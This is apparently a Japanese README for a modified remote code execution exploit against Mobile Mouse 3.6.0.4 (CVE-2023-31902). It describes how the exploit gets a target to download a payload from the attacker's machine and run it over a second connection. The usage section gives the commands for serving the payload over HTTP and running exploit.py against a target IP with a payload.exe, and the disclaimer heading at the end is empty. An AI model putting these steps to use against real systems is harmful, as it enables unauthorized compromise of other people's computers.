Mobile Mouse 3.6.0.4 RCE - 修正版

Mobile Mouse 3.6.0.4 のリモートコード実行エクスプロイトの修正版で、EDB-51010 として公開されています。

脆弱性

• CVE: CVE-2023-31902
• 影響を受けるバージョン: Mobile Mouse 3.6.0.4
• デフォルトポート: TCP/9099

修正内容

元のエクスプロイトはペイロードのダウンロードには成功しますが、両方のステージが同じ TCP 接続を使用するため、実行に失敗する可能性があります。

この修正版では以下の処理を行います:

• 最初のセッションを通じてペイロードをダウンロード
• ダウンロードの完了を待機
• 新しい接続を開く
• Mobile Mouse のハンドシェイクを繰り返す
• ダウンロードしたペイロードを実行

また、sendall() の使用、Windows パスの適切なエスケープ、ソケットタイムアウト、基本的なエラーハンドリングも備えています。

使い方

ペイロードディレクトリで HTTP サーバーを起動します:

python3 -m http.server 8080

エクスプロイトを実行します:

python3 exploit.py \
  --target 192.168.1.50 \
  --lhost 192.168.1.10 \
  --file payload.exe

免責事項